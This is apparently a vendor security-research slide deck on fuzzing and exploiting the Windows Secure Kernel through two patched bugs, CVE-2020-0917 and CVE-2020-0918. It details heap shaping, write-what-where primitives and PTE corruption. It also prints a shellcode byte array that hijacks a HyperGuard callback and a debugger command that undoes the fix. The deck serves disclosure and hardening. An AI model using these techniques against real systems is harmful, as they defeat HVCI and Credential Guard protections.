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Outline

▪World’s shortest intro to the architecture of VSM, Secure Kernel
▪ Including current state of mitigations

▪ Vulnerabilities - fuzzing && code auditing
▪ VTL0 -> VTL1

▪ Found 10 vulnerabilities

▪ Exploits
▪ With super awesome primitives along the way

▪ Demos ☺

▪ Takeaways
▪ Hardening Secure Kernel

▪ Many exploitation internals!



VBS/VSM 101 – highlevel overview

▪ Use virtualization to enforce isolation and restrictions in the OS

▪ Introduce Virtual Trust Levels (VTLs), orthogonal to rings
▪ VTL1 - Secure World

▪ VTL0 - Normal World

▪ The higher the VTL is, the more privileged it gets

▪ All managed by Hyper-V!
▪ Secure Kernel runs in ring0VTL1

▪ NTOS runs in ring0VTL0

▪ Hyper-V exposes 2 hypercalls for normal calls and secure calls
▪ Normal call – services provided by NTOS to SK

▪ Secure call – services provided by SK to NTOS



VBS/VSM 101 – highlevel overview
▪ Hyper-V exposes hypercalls to Secure Kernel to restrict VTL0

▪ restrict VTL0 access to physical address space (using SLAT)

▪ restrict VTL0 access to system registers

▪ Examples of mitigations based on VBS: 
▪ HVCI – enforce only signed code pages are +X in VTL0 SLAT

▪ Credential Guard – hide secrets in ring3VTL1 address space, unreadable to VTL0

▪ Hyperguard – restricts VTL0 access to system registers

▪ Compromise of Secure Kernel or Hyper-V bypasses those mitigations 
and break the model guarantees



Our story begins with a great teamwork!

▪ Amazing hypercalls fuzzer developed by Daniel
▪ “Growing Hypervisor 0day with Hyperseed” / Daniel and Shawn (OffensiveCon 2019)

▪ Found many issues in Hyper-V

▪ Suggestion from Saar: use Hyperseed to fuzz SK
▪ Specifically, target the securecall interface: securekernel!IumInvokeSecureService

▪ Already has a convenient userspace component that talks to a kernel driver

▪ The crossed boundary here: ring0VTL0 (NTOS) -> ring0VTL1 (Secure Kernel)

▪ DOS is out of the picture – VTL0 can DOS VTL1 by design

▪ 2 weeks later – Hyperseed found 5 different VTL0->VTL1 bugs ☺
▪ And more were found afterwards

https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2019_02_OffensiveCon/2019_02%20-%20OffensiveCon%20-%20Growing%20Hypervisor%200day%20with%20Hyperseed.pdf


Thinking ahead
▪ Before we start doing the classic circle of life

▪ Find awesome 0days

▪ Gain shape primitives

▪ Shape SK heap

▪ Corrupt structures, gaining read/write primitives

▪ Bypass mitigations

▪ etc…

▪ Let’s get ourselves familiar with the current state of mitigations in VTL1
▪ i.e. – assume we got a read/write in ring0VTL1 – what can we do?



Mitigations

▪Which mitigations from VTL0 exist in VTL1?

▪ Let’s check it out in details

NTOS (ring0VTL0) Secure Kernel (ring0VTL1)

KASLR ☺ 

CFI mechanism (CFG/XFG) ☺ 

SLAT enforcement ☺ 



KASLR – Predictable Addresses

▪Hardcoded:
▪ PTE_BASE 0xfffff6c800000000
▪ Pfndb 0xffffe80000000000
▪ SkmiSystemPTEs Base 0xfffff6c800000000
▪ SkmiImagePTEs Base 0xfffff6cc80000000
▪ SkmiIoPTEs Base 0xfffff6fffff80000
▪ Paged Pool 0xffff9a0000000000
▪ shared page VTL1 0xfffff78000000000
▪ shared page VTL0 mapping 0xfffff78000007000

▪Deterministic:
▪ SkpgContext 0xffff9880419b6000
▪ SkmiFailureLog 0xffff988000000000



Great primitive

▪ Shared between VTL0 and VTL1:
▪ VTL0 -> VTL1

0xfffff78000000000 (Writable) → 0xfffff78000007000 (Read-only)

▪ VTL1 -> VTL0

nt!PspIumLogBuffer (Read-only)  0xffff988000000000 (Writable)

▪ Exploitation primitive: Controlled data at a known address!



▪ NTOS, ring0VTL0

▪ Secure Kernel, ring0VTL1



SLAT Enforcement

▪ There is EPT enforcement only on lower VTLs from higher VTLs
▪ Examples: HVCI, Credential Guard, etc.

▪Meaning, SK (being the higher VTL right now) isn’t EPT-enforced
▪ VTL1 PTEs have the “final say”

▪ Given arbitrary write --> RWX in VTL1 address space!
▪ Don’t need a read primitive, since PTE_BASE is fixed

▪ Interesting… what about W^X?





W^X? W+X!
▪Many folks found addresses in VTL0 address space that 

are W+X in the PTE
▪ https://twitter.com/AmarSaar/status/1017077506577436673

▪ That’s not interesting, because HVCI does a great job mitigating this

▪ However… there is no SLAT enforcement in VTL1

▪We found 4 different addresses that are W+X!
▪ We fixed all of them by now ☺

https://twitter.com/AmarSaar/status/1017077506577436673


Little setup

▪We used Hyperseed, super convenient ☺
DD

▪ Define basic interface to securecalls from our kernel driver, and 

developed the POCs and exploits in an userspace program
DD

▪ If you want to trigger specific securecalls in VTL1 easily, you can set 

breakpoints in VTL0 and change the parameters/memory in runtime



SK debugging
▪ Secure Kernel release binaries shipped with debugstub compiled out

▪ However, you can still achieve that
▪ Nested virtualization

▪ KVM/QEMU

▪ Some researchers are doing that! ☺

▪ Refs:
▪ ExdiKdSample

▪ Tweet: WinDBG EXDi extension (and more at @gerhart_x)

▪ debugging-secure-kernel

https://github.com/gerhart01/LiveCloudKd/blob/master/ExdiKdSample/LiveDebugging.md
https://twitter.com/gerhart_x/status/1263730127378284545
https://twitter.com/gerhart_x
https://github.com/commial/experiments/tree/master/debugging-secure-kernel




The Vulnerable Function
▪ In the hotpatch mechanism implementation, there is a function called 

securekernel!SkmmObtainHotPatchUndoTable

▪ This function obtains an undo table to describe addresses that will be 
affected when reverting a hot patch

▪We found 2 memory corruption issues:
▪ OOB Write - by Hyperseed

▪ Unmap arbitrary-controlled MDL  - by statically reviewing the code



Vulnerability #1 – OOB Write

▪ Securecalls use TransferMdls in order to get data from VTL0
DD

▪ Those TransferMdls are fully controlled by VTL0
DD

▪ VTL1 code does:
▪ SkmmMapDataTransfer() – gain a mapping in VTL1 address space

▪ SkmmMapMdl() – initializes a new VTL1 MDL (allocate PTEs, set metadata, etc.)

▪ …

▪ SkmmUnmapMdl()

▪ VTL1 has to sanitize EVERY field it reads from VTL0
DD

▪ Including TransferMdl->ByteCount



Vulnerability #1 – OOB Write



MDL (Memory Descriptor List) Layout

MDL +0x0 +0x2 +0x4 +0x6 +0x8 +0xA +0xC +0xE

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

+0x30 Pfn0 Pfn1

... ... ...



Allocate UndoMdl

TransferMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount = 0x10 ByteOffset

UndoMdl = SkAllocatePool(TransferMdl->ByteCount)

+0x00

+0x10 HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)

+0x20



Reference OriginalMdl prepared by VTL 0

TransferMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

UndoMdl

+0x00

+0x10 HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)

+0x20

OriginalMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset



MmInitializeMdl(UndoMdl,...) 

TransferMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

UndoMdl

+0x00 Next = NULL Size=... Flags=0

+0x10 HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)

+0x20 StartVa ByteCount ByteOffset

OriginalMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

MmInitializeMdl(UndoMdl, (PVOID)OriginalMdl->ByteOffset, OriginalMdl->ByteCount);

UndoMdl->StartVa = OriginalMdl->StartVa; // rdi is UndoMdl
...
fffff806`79cc7c16 4c8937 mov qword ptr[rdi], r14
fffff806`79cc7c19 4423c3 and r8d, ebx
fffff806`79cc7c1c 664489770a mov word ptr[rdi + 0Ah], r14w
fffff806`79cc7c21 4823c3 and rax, rbx
fffff806`79cc7c24 44894f28 mov dword ptr[rdi + 28h], r9d
fffff806`79cc7c28 4881e200f0ffff and rdx, 0FFFFFFFFFFFFF000h
fffff806`79cc7c2f 498d89ff0f0000 lea rcx, [r9 + 0FFFh]
fffff806`79cc7c36 4803c8 add rcx, rax
fffff806`79cc7c39 48895720 mov qword ptr[rdi + 20h], rdx
fffff806`79cc7c3d 48c1e90c shr rcx, 0Ch
fffff806`79cc7c41 664103cd add cx, r13w
fffff806`79cc7c45 66c1e103 shl cx, 3
fffff806`79cc7c49 66894f08 mov word ptr[rdi + 8], cx
fffff806`79cc7c4d 418bc8 mov ecx, r8d
fffff806`79cc7c50 4d8d81ff0f0000 lea r8, [r9 + 0FFFh]
fffff806`79cc7c57 4c03c1 add r8, rcx
fffff806`79cc7c5a 894f2c mov dword ptr[rdi + 2Ch], ecx
fffff806`79cc7c5d 498b4320 mov rax, qword ptr[r11 + 20h]
fffff806`79cc7c61 49c1e80c        shr r8, 0Ch
fffff806`79cc7c65 49c1e003        shl r8, 3
fffff806`79cc7c69 48894720 mov qword ptr[rdi + 20h], rax
...



Vulnerability #1 -
PoC



How to Fix?

The Fix



Build 18290 (Vulnerable) Build 18841 (Patched)

The Fix



Exploit #1 – Arbitrary Write



UndoMdl

+0x00 Next = NULL Size=... Flags=0

+0x10 HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)

+0x20 StartVa ByteCount ByteOffset

Victim MDL

TransferMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

OriginalMdl

+0x00 Next Size Flags Apn Resv

+0x10 Process MappedSystemVa

+0x20 StartVa ByteCount ByteOffset

VictimMdl

+0x20 Next Size Flags Apn Resv

+0x30 Process MappedSystemVa

+0x40 StartVa ByteCount ByteOffset

1. VictimMdl’s VsChunkHeader remains intact
2. VictimMdl.Next = UndoMdl.StartVa
3. VictimMdl.Size&Flags = UndoMdl.ByteCount
4. VictimMdl.Apn&Resv = UndoMdl.ByteOffset



Introducing SkpgContext

▪ Secure Kernel HyperGuard

▪ Deterministic Address

▪ Callback Routine Pointer

▪ Self-Protection



SkpgContext Protects Its Own Integrity

SkpgContext

+0x000

......

+0x220 Timer RuntimeCheckRoutine will set this timer with randomized 

relative DueTime.

......

+0x250 TimerRoutine Invoked when DueTime comes, triggers RuntimeCheckRoutine.

+0x258 DueTime[0] Absolute DueTime.

+0x260 DueTime[1]

+0x268 RuntimeCheckRoutine Verify the data integrity of this whole context

......



SkpgContext Protects Its Own Integrity
How To Bypass?

SkpgContext

+0x000

......

+0x220 Timer RuntimeCheckRoutine will set this timer with randomized 

relative DueTime.

......

+0x250 TimerRoutine Invoked when DueTime comes, triggers RuntimeCheckRoutine.

+0x258 DueTime[0] Absolute DueTime.

+0x260 DueTime[1]

+0x268 RuntimeCheckRoutine Verify the data integrity of this whole context

......



Secure Kernel Pool Intro
▪ Use the normal kernel allocators

▪ Segment Heap
DD

▪ VS (Variable Size) Heap
▪ Allocations of different sizes are mixed together
DD

▪ LFH (Low Fragmentation) Heap
▪ Allocations of the same size are allocated together
DD

▪ Tag/PoolType Are Ignored
▪ Allocate in paged pool
D

▪ Challenge: 
▪ Too few allocations



LFH Heap : 15/129 buckets activated

VS Heap : only 22 segments



Secure Kernel Pool Shaping
▪ Focus on VS Heap pool shaping
DD

▪ Searching for persistent and controllable pool allocations
▪ SECURESERVICE_CREATE_SECURE_IMAGE, 0x30 bytes minimum.
DD

▪Making holes for 0x10 size allocation
DD

▪ Overwriting next allocation
DD

▪ Choose a victim neighbor
▪ SECURESERVICE_LIVEDUMP_START
DD

▪ Challenges:
▪ Not overwriting guard page after each segment

▪ Not activating LFH for a specific pool size range



VS Heap Pool Shaping
A B A B ...

B A B A ...

A C A C ...

C A C A ...

C C ...

C C ...

D C D C ...

C D C D ...

D E C D C ...

C D C D ...

C LiveDump MDL E Undo MDL
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VS Heap Pool Shaping
A B A B ...

B A B A ...

A C A C ...

C A C A ...

C C ...

C C ...

D C D C ...

C D C D ...

D E C D C ...

C D C D ...

C LiveDump MDL E Undo MDL



LiveDump and related securecalls

▪ SkLiveDumpStart
▪ Allocate a list of MDL allocations

▪ Those MDLs are organized into a singly-linked list by MDL->Next pointer

▪ SkLiveDumpAddBuffer
▪ Locate a target MDL from the singly-linked list

▪ Write to PfnArray(+0x30 ~ ...) of target MDL

▪ Challenges:
▪ Skip writing to the pivot MDL which resides in read-only page

▪ Control overwriting target



MDL Singly-Linked List

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MDLListHead

PagesAdded



Where Does LiveDumpAddBuffer Write To?

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

while (PagesAdded > 0)
{

this_MDL_Capacity = this_MDL->ByteCount / PAGE_SIZE;
if (PagesAdded > this_MDL_Capacity)
{

PagesAdded -= this_MDL_Capacity;
this_MDL = this_MDL->Next;
continue;

}
AddBufferTo(this_MDL, PagesAdded);
break;

}



If We Can Control “Next” of One Chained MDL

Victim MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

Undo MDL



We Can Chain a Fake Pivot MDL at Shared Page

Victim MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

VTL 0 -> VTL 1 Shared 
Memory:

• VTL 0: Writable
• VTL 1: Read-only

Undo MDL



We Control Where LiveDumpAddBuffer Write To

Victim MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount=0xC00

+0x30 PfnArray

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

Undo MDL

VTL 0 -> VTL 1 Shared 
Memory:

• VTL 0: Writable
• VTL 1: Read-only



Detect Worker MDL Has Been Written

Victim MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

Undo MDL

VTL 0 -> VTL 1 Shared 
Memory:

• VTL 0: Writable
• VTL 1: Read-only

VTL 1 -> VTL 0 Shared 
Memory:

• VTL 0: Read-only
• VTL 1: Writable



Retarget Worker MDL

Victim MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 PfnArray

LiveDump
Context

MdlListHead

PagesAdded

Undo MDL

VTL 0 -> VTL 1 Shared 
Memory:

• VTL 0: Writable
• VTL 1: Read-only



Shared pages: Communication Channels

▪ VTL 0(write) -> VTL 1(read)
▪ Craft pivot MDL, modify Worker MDL repeatedly

▪ VTL 1(write) -> VTL 0(read)
▪ Tentative overwriting target of SkLiveDumpAddBuffer

▪ Indicator of Worker MDL activated.

▪Write-what-where accurately and repeatedly
▪ Pivot MDL->Next: Worker MDL

▪ Pivot MDL->ByteCount: Accurately control overwriting offset to Worker MDL

▪ SkLiveDumpAddBuffer: Overwriting Content



▪ SkLiveDumpAddBuffer(Pages, PfnArray, ...)

▪ *(QWORD*)( ) =

Multiple Write-What-Where

Worker MDL
+0x00 Next

+0x10

+0x20 ByteCount

+0x30 Value

Pivot MDL
+0x00 Next

+0x10

+0x20 ByteCount

Shared Page

VTL 0 VTL 1

▪ Repeatable Write-What-Where
▪ Where: (                    )

▪ Next = Writing Cursor – 0x30

▪ ByteCount += PAGE_SIZE

▪ What:

▪ Pages = 1

▪ PfnArray = [                         ]

▪ Write: 

▪ LiveDumpAddBuffer(Pages, PfnArray, ...)

Writing Cursor

Writing Cursor

Value             

Value             



Exploit #1 – Final to Arbitrary Code Execution

▪ Corrupt MDL->Next, gain 1 arbitrary write
D

▪ Fake a pivot MDL structure in the shared page (simply writes in VTL0)
▪ Keep in mind that we can changed that repeatedly, by design
D

▪ Use the arbitrary write to corrupt a node in SkpLiveDumpContext.Mdl
chain, make it points to our pivot MDL

D

▪ Call SkLiveDumpAddBuffer to trigger arbitrary write
D

▪ Change shared page content, and call SkLiveDumpAddBuffer again!
D

▪ Arbitrary Write: Corrupt PTE --> make shared page RWX
D

▪ Arbitrary Write: Corrupt SkpgContext callback --> jump to shellcode
D

▪ PROFIT



Demo Shellcode

▪Modify SkpgContext callback routine pointer

▪ Leak Secure Kernel pointer back to VTL 0 (through shared page)

▪ Reset timer, configure 5 seconds relative due time, shellcode will be 
invoked every 5 seconds

▪ Shellcode is fully controlled from VTL 0 and can be refactored for other 
purpose

BYTE shellcode[] = { 
0x48, 0x83, 0xec, 0x30,                                                       //sub     rsp, 30h

0x48, 0xb9, QWORD_2_LE_BYTES(SKPG_CONTEXT_ADDR + 0x250),     //movabs rcx, SKPG_CONTEXT_TIMER_CALLBACK_ADDR
0x4c, 0x8b, 0x09,                                                             //mov        r9, qword ptr[rcx]
0x48, 0xba, QWORD_2_LE_BYTES(SHARED_MEM_SK_VIEW_ADDR + 0x150),                //movabs rdx, SHELLCODE_SK_VIEW_ADDR
0x48, 0x89, 0x11,                                                             //mov        qword ptr[rcx], rdx
0x48, 0x83, 0xc1, 0x18,                                                       //add        rcx, 0x18
0x48, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x00,                                     //mov        qword ptr[rcx], 0
0x48, 0xc7, 0x41, 0x08, 0x00, 0x00, 0x00, 0x00,                               //mov        qword ptr[rcx + 8], 0
0x48, 0xc7, 0x41, 0x10, 0x00, 0x00, 0x00, 0x00,                               //mov        qword ptr[rcx + 0x10], 0
0x49, 0x81, 0xe9, DWORD_2_LE_BYTES(SKPG_TIMER_ROUTINE_OFFSET),                //sub        r9, SKPG_TIMER_ROUTINE_OFFSET

0x48, 0xb9, QWORD_2_LE_BYTES(FAILURE_LOG_SK_ADDR + 0x1090),                   //movabs rcx, FAILURE_LOG_SK_ADDR + 0x1090
0x48, 0x8b, 0x11,                                                             //mov        rdx, qword ptr[rcx]
0x49, 0xb8, QWORD_2_LE_BYTES(KERNEL_ADDR_MASK),                               //movabs r8, KERNEL_ADDR_MASK
0x49, 0x21, 0xd0,                                                             //and        r8, rdx
0x49, 0x83, 0xf8, 0x00,                                                       //cmp r8, 0
0x4c, 0x0f, 0x45, 0xca,                                                       //cmovne r9, rdx
0x4c, 0x89, 0x09,                                                             //mov qword ptr[rcx], r9
0x49, 0x81, 0xc1, DWORD_2_LE_BYTES(SKPG_SETTIMER_OFFSET),                     //add        r9, SKPG_SETTIMER_OFFSET
0x48, 0xb9, QWORD_2_LE_BYTES(SKPG_CONTEXT_ADDR + 0x220),                      //movabs rcx, SKPG_CONTEXT_ADDR + 0x220
0x48, 0xc7, 0xc2, DWORD_2_LE_BYTES(NEG_5_SECONDS_IN_NANOSECONDS),             //mov        rdx, NEG_5_SECONDS_IN_NANOSECONDS
0x49, 0xc7, 0xc0, DWORD_2_LE_BYTES(NEG_5_SECONDS_IN_NANOSECONDS),             //mov        r8, NEG_5_SECONDS_IN_NANOSECONDS
0x4c, 0x89, 0xc8,                                                             //mov        rax, r9
0xff, 0xd0,                                                                   //call       rax

0x48, 0x83, 0xc4, 0x30,                                                       //add     rsp, 30h

0xc3                                                              //ret
}; 



Demo

▪ Vulnerability #1 was fixed in Jan 2019

▪ Secure Kernel pool switched to segment heap in Mid-2019, the exploit 
depends on segment heap

▪ This demo is against 20129 build (May 2020), where vuln#1 has already 
been fixed

▪ A trick to undo the fix by windbg command:
▪ eb nt!SkmmObtainHotPatchUndoTable+0x5D 90 90 90 90 90 90 90 90 90 90; g;

▪ The exploit approach works well on latest build

▪ Demo only!



DEMO





Vulnerability #2

▪ Great work! We fixed this issue (CVE-2020-0917)

▪ Now we make sure TransferMdl->ByteCount >= sizeof(MDL)

▪ But… there is something interesting in the general flow here

▪ Something related to mapping and unmapping of VTL1 MDLs

▪Well, let’s take a closer look:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0917


Vulnerability #2 – Unmap arbitrary controlled MDL
▪ As we saw, this is the flow of SkmmObtainHotPatchUndoTable





Vulnerability #2 - POC

▪ We can call SkmmUnmapMdl() on a fully controlled MDL!

▪ Building a small POC: MDL->MappedSystemVA=0x4141414141414141



Vulnerability #2 - POC

▪ We can call SkmmUnmapMdl() on a fully controlled MDL!

▪ Building a small POC – write ZeroPTE on some in used page’s PTE

▪ VTL1 has its own shared page (same, 0xfffff78000000000)

▪ Pass MDL->MappedSystemVA==0xfffff78000000000

▪ And…





Exploit #2
▪ We can call SkmmUnmapMdl on a fully controlled MDL

▪ So we don’t have here (yet) a corruption with a controlled content

▪ But we can clearly build one ☺

▪ The basic logic of SkmmUnmapMdl is as follows:

▪ Scan the PTEs range described by the MDL

▪ Set each PTE to ZERO_PTE (after this, PTE.P==0 --> each deref will 
panic)

▪ If Mdl.MdlFlags & MDL_PARENT_MAPPED_SYSTEM_VA
▪ Call SkmiReleaseUnknownPtes()



Exploit #2 - Primitives && Limitations

▪ The base primitive: SkmmUnmapMdl on a fully controlled MDL

▪ Looks like the page->refcount decrement and PTEs writes are “safe”

▪ we can’t write ZeroPTE outside the PTEs range (due to the calculation)

▪ we can’t dec arbitrary addresses outside the pfndb range (due to a 
check)

▪ But who needs that, when we can zero-out arbitrary PTEs!

▪Also, it’s important to zero-out the bit in the PTEs BitMap
▪ Otherwise, it would be hard to reclaim the page while it’s in-used

▪ SkmmUnmapMdl calls SkmiReleaseUnknownPTEs, which does that



PTERange
▪ Secure Kernel maintains structures for managing virtual address space

▪ Among those: PTERange

▪ Describes a range of PTEs of a certain use

▪ Examples: SystemPtes, IOPtes, PagedPtes, RebootPtes, etc.

▪ Has PTEbase address, size, bitMap pointer, bitMap Hint, etc.

PTEBase Bimap



The PTE Ranges Problem/Primitive
▪ So SkmmUnmapMdl calls SkmiReleaseUnknownPTEs

▪ Remember – it’s optional. We control MDL->MdlFlags

▪ This function chooses the right PTE range among the following ranges: 
SkmiSystemPtes, SkmiIoPtes, SkmiRebootPtes



The PTE Ranges Problem/Primitive

▪ BUT – it only compares the PTE address to each PTERange->PTEBase

▪ Doesn’t check that it’s actually in the chosen range

▪ So, trigger the vulnerability with a virtual address from another range

▪We gain a relative write primitive AFTER some PTERange->BitMap

▪ Hmm, interesting ☺ POC for the win:





The PTE Ranges Problem/Primitive
▪ But there are many pages outside those bitmaps which are paged-out 

and not in-used

▪We can still make it work, but it’s better to do the UAF idea ☺

▪ Keep in mind that we can attack only pages from those specific 3 
PTERanges!

▪We need to find an interesting structure in a page inside the 
SkmiSystemPtes



Shape!

▪ Ok great, we know what we need to do, right?
▪ Allocate some structure/data
▪ Unmap the underlaying page
▪ Reclaim PTE, replace the pfn
▪ “UAF”

▪ It’s in the PTE allocator (Skmi{Allocate,Release}SystemPtes())

▪ Each bitmap has a BitmapHint, which we start to scan from
▪ Which is updated on wrapped around in the allocation

▪ Debug traces:





Getting a good crash

▪ But we want a good crash

▪ PAGE_FAULT_IN_NONPAGED_AREA clearly isn’t good enough ☺

▪ We can trigger it in any flow we would like basically, which is nice

▪ Two options:

▪ Allocate a target structure ourselves, and then spray to wrap-around 
the BitmapHint (in order to reclaim it)
▪ Requires an information disclosure primitive, leak the address of the structure

▪ Find an already existing target structure, which its PTE’s Bitmap index 
comes AFTER the BitmapHint after boot

▪ Keep in mind that the BitmapHint after boot is very predictable



Getting a good crash

▪ By analyzing the pages represented by the existed PTEs after the 
SkmiSystemPtes->BitmapHint, we see interesting structures

▪ Predictability in the VTL1 address space promises stability
▪ It never failed ☺

▪We have a great target structure at a predictable virtual address
▪ Prcb->Tss, Prcb->StackBase

▪ Clearly gives us ROP with controlled registers

▪ But we have to be careful, as we replace the entire page



Getting a good crash

▪ This great structure spans over a few pages

▪We don’t HAVE to replace all of them, we can choose only one

▪Which happens to be the one that:

▪ Has as few critical values as we can find

▪ Has raw pointers

▪ Being used in a way that leads to arbitrary read/write

▪ 2 pages ahead looks good!



Exploit 2 – highlevel plan
▪ Spray with SkmiAllocateSystemPtes() on SkmiSystemPtes to 

reach Prcb pages

▪ Trigger vulnerability, unmap one of the Prcb pages

▪ Keep spray, reclaim the PTE entry used for the previous used page

▪ And…
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Trigger vulnerability
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Good panic! ☺



Post Exploitation - Bypassing HVCI / CG

▪ Given arbitrary code execution in VTL1 --> bypass HVCI / CG

▪ Also ROP is enough ☺

▪ Secure Kernel completely control VTL0 EPT permissions by 
hypercalls

▪ Thus, Secure Kernel can trivially disable all SLAT-based VTL0 
restrictions



Hardening SK
▪ Shipped fixes for the two vulnerabilities we discussed:

▪ CVE-2020-0917 – The OOB

▪ CVE-2020-0918 – The design flaw with SkmmUnmapMdl

▪ Developing end-to-end exploits has many values, one of them is 
spotting important behaviors to change

▪We are making the 4 W+X addresses to be only +X

▪ Investigating randomizing Secure Kernel regions

▪More to come ☺

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0917
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0918


Let’s work together!

▪ VBS is a very good security improvement for many of our products

▪We would love to get submissions from you in our VBS model!

▪ Note about SK (again) – VTL0 can DOS VTL1 by design.

▪ So the bugs need to be more than that (POC to leak sensitive data, 
corrupt memory, etc.) ☺
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